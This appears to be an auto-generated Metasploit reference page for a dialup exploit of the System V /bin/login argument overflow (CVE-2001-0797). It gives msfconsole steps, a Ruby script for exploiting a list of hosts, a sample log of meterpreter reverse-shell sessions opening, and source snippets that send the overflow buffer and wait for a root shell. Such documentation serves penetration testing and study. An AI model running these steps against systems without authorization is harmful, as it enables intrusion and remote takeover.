System V Derived /bin/login Extraneous Arguments Buffer Overflow - Metasploit


This page contains detailed information about how to use the exploit/dialup/multi/login/manyargs metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: System V Derived /bin/login Extraneous Arguments Buffer Overflow
Module: exploit/dialup/multi/login/manyargs
Source code: modules/exploits/dialup/multi/login/manyargs.rb
Disclosure date: 2001-12-12
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): tty
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2001-0797

This exploit connects to a system's modem over dialup and exploits a buffer overflow vulnerability in it's System V derived /bin/login. The vulnerability is triggered by providing a large number of arguments.

Module Ranking and Traits


Module Ranking:

  • good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.

Basic Usage


Using manyargs against a single host

Normally, you can use exploit/dialup/multi/login/manyargs this way:

msf > use exploit/dialup/multi/login/manyargs
msf exploit(manyargs) > show targets
    ... a list of targets ...
msf exploit(manyargs) > set TARGET target-id
msf exploit(manyargs) > show options
    ... show and set options ...
msf exploit(manyargs) > exploit

Using manyargs against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your manyargs will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/dialup/multi/login/manyargs")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • NUMBER: Number to Dial (e.g. 1.800.950.9955, (202) 358-1234, 358.1234 etc.)

Go back to menu.

Msfconsole Usage


Here is how the dialup/multi/login/manyargs exploit module looks in the msfconsole:

msf6 > use exploit/dialup/multi/login/manyargs

[*] No payload configured, defaulting to tty/unix/interact
msf6 exploit(dialup/multi/login/manyargs) > show info

       Name: System V Derived /bin/login Extraneous Arguments Buffer Overflow
     Module: exploit/dialup/multi/login/manyargs
   Platform: Unix
       Arch: tty
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2001-12-12

Provided by:
  I)ruid <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Solaris 2.6 - 8 (SPARC)

Check supported:
  No

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  BAUDRATE      19200            yes       Baud Rate
  DATABITS      8                yes       Data Bits (4 is Windows Only) (Accepted: 4, 5, 6, 7, 8)
  DIALPREFIX    ATDT *67, *70,   yes       Dial Prefix
  DIALSUFFIX                     no        Dial Suffix
  DIALTIMEOUT   60               yes       Dial Timeout in seconds
  DISPLAYMODEM  false            yes       Displays modem commands and responses on the console
  FLOWCONTROL   None             yes       Flow Control (Accepted: None, Hardware, Software, Both)
  INITSTRING    AT X6 S11=80     yes       Initialization String
  NUMBER                         yes       Number to Dial (e.g. 1.800.950.9955, (202) 358-1234, 358.1234 etc.)
  PARITY        None             yes       Parity (Mark & Space are Windows Only) (Accepted: None, Even, Odd, Mark, Space)
  SERIALPORT    /dev/ttyS0       yes       Serial Port (e.g. 0 (COM1), 1 (COM2), /dev/ttyS0, etc.)
  STOPBITS      1                yes       Stop Bits (Accepted: 1, 2)

Payload information:
  Space: 3000
  Avoid: 0 characters

Description:
  This exploit connects to a system's modem over dialup and exploits a 
  buffer overflow vulnerability in it's System V derived /bin/login. 
  The vulnerability is triggered by providing a large number of 
  arguments.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2001-0797
  OSVDB (690)
  OSVDB (691)
  http://www.securityfocus.com/bid/3681
  http://archives.neohapsis.com/archives/bugtraq/2002-10/0014.html
  http://archives.neohapsis.com/archives/bugtraq/2004-12/0404.html

Module Options


This is a complete list of options available in the dialup/multi/login/manyargs exploit:

msf6 exploit(dialup/multi/login/manyargs) > show options

Module options (exploit/dialup/multi/login/manyargs):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   BAUDRATE      19200            yes       Baud Rate
   DATABITS      8                yes       Data Bits (4 is Windows Only) (Accepted: 4, 5, 6, 7, 8)
   DIALPREFIX    ATDT *67, *70,   yes       Dial Prefix
   DIALSUFFIX                     no        Dial Suffix
   DIALTIMEOUT   60               yes       Dial Timeout in seconds
   DISPLAYMODEM  false            yes       Displays modem commands and responses on the console
   FLOWCONTROL   None             yes       Flow Control (Accepted: None, Hardware, Software, Both)
   INITSTRING    AT X6 S11=80     yes       Initialization String
   NUMBER                         yes       Number to Dial (e.g. 1.800.950.9955, (202) 358-1234, 358.1234 etc.)
   PARITY        None             yes       Parity (Mark & Space are Windows Only) (Accepted: None, Even, Odd, Mark, Space)
   SERIALPORT    /dev/ttyS0       yes       Serial Port (e.g. 0 (COM1), 1 (COM2), /dev/ttyS0, etc.)
   STOPBITS      1                yes       Stop Bits (Accepted: 1, 2)

Payload options (tty/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Exploit target:

   Id  Name
   --  ----
   0   Solaris 2.6 - 8 (SPARC)

Advanced Options


Here is a complete list of advanced options supported by the dialup/multi/login/manyargs exploit:

msf6 exploit(dialup/multi/login/manyargs) > show advanced

Module advanced options (exploit/dialup/multi/login/manyargs):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (tty/unix/interact):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the dialup/multi/login/manyargs module can exploit:

msf6 exploit(dialup/multi/login/manyargs) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Solaris 2.6 - 8 (SPARC)

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the dialup/multi/login/manyargs exploit:

msf6 exploit(dialup/multi/login/manyargs) > show payloads

Compatible Payloads
===================

   #  Name                       Disclosure Date  Rank    Check  Description
   -  ----                       ---------------  ----    -----  -----------
   0  payload/tty/unix/interact                   normal  No     Unix TTY, Interact with Established Connection

Evasion Options


Here is the full list of possible evasion options supported by the dialup/multi/login/manyargs exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(dialup/multi/login/manyargs) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Exiting.


Here is a relevant code snippet related to the "Exiting." error message:

151:	  def exploit
152:	    buf = buildbuf
153:	
154:	    print_status("Dialing Target")
155:	    if not connect_dialup
156:	      print_error("Exiting.")
157:	      return
158:	    end
159:	
160:	    print_status("Waiting for login prompt")
161:	

Login prompt not found... Exiting.


Here is a relevant code snippet related to the "Login prompt not found... Exiting." error message:

160:	    print_status("Waiting for login prompt")
161:	
162:	    res = dialup_expect(/ogin:\s/i, 10)
163:	    #puts Rex::Text.to_hex_dump(res[:buffer])
164:	    if not res[:match]
165:	      print_error("Login prompt not found... Exiting.")
166:	      disconnect_dialup
167:	      return
168:	    end
169:	
170:	    # send the evil buffer, 256 chars at a time

Target is likely not vulnerable... Exiting.


Here is a relevant code snippet related to the "Target is likely not vulnerable... Exiting." error message:

188:	    # wait for password prompt
189:	    print_status("Waiting for password prompt")
190:	    res = dialup_expect(/assword:/i, 30)
191:	    #puts Rex::Text.to_hex_dump(res[:buffer])
192:	    if not res[:match]
193:	      print_error("Target is likely not vulnerable... Exiting.")
194:	      disconnect_dialup
195:	      return
196:	    end
197:	
198:	    print_status("Password prompt received, waiting for shell")

Shell not found.


Here is a relevant code snippet related to the "Shell not found." error message:

199:	    dialup_puts("pass\n")
200:	
201:	    res = dialup_expect(/#\s/i, 20)
202:	    #puts Rex::Text.to_hex_dump(res[:buffer])
203:	    if not res[:match]
204:	      print_error("Shell not found.")
205:	      print_error("Target is likely not vulnerable... Exiting.")
206:	      disconnect_dialup
207:	      return
208:	    end
209:	

Target is likely not vulnerable... Exiting.


Here is a relevant code snippet related to the "Target is likely not vulnerable... Exiting." error message:

200:	
201:	    res = dialup_expect(/#\s/i, 20)
202:	    #puts Rex::Text.to_hex_dump(res[:buffer])
203:	    if not res[:match]
204:	      print_error("Shell not found.")
205:	      print_error("Target is likely not vulnerable... Exiting.")
206:	      disconnect_dialup
207:	      return
208:	    end
209:	
210:	    print_status("Success!!!")

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • I)ruid

Version


This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.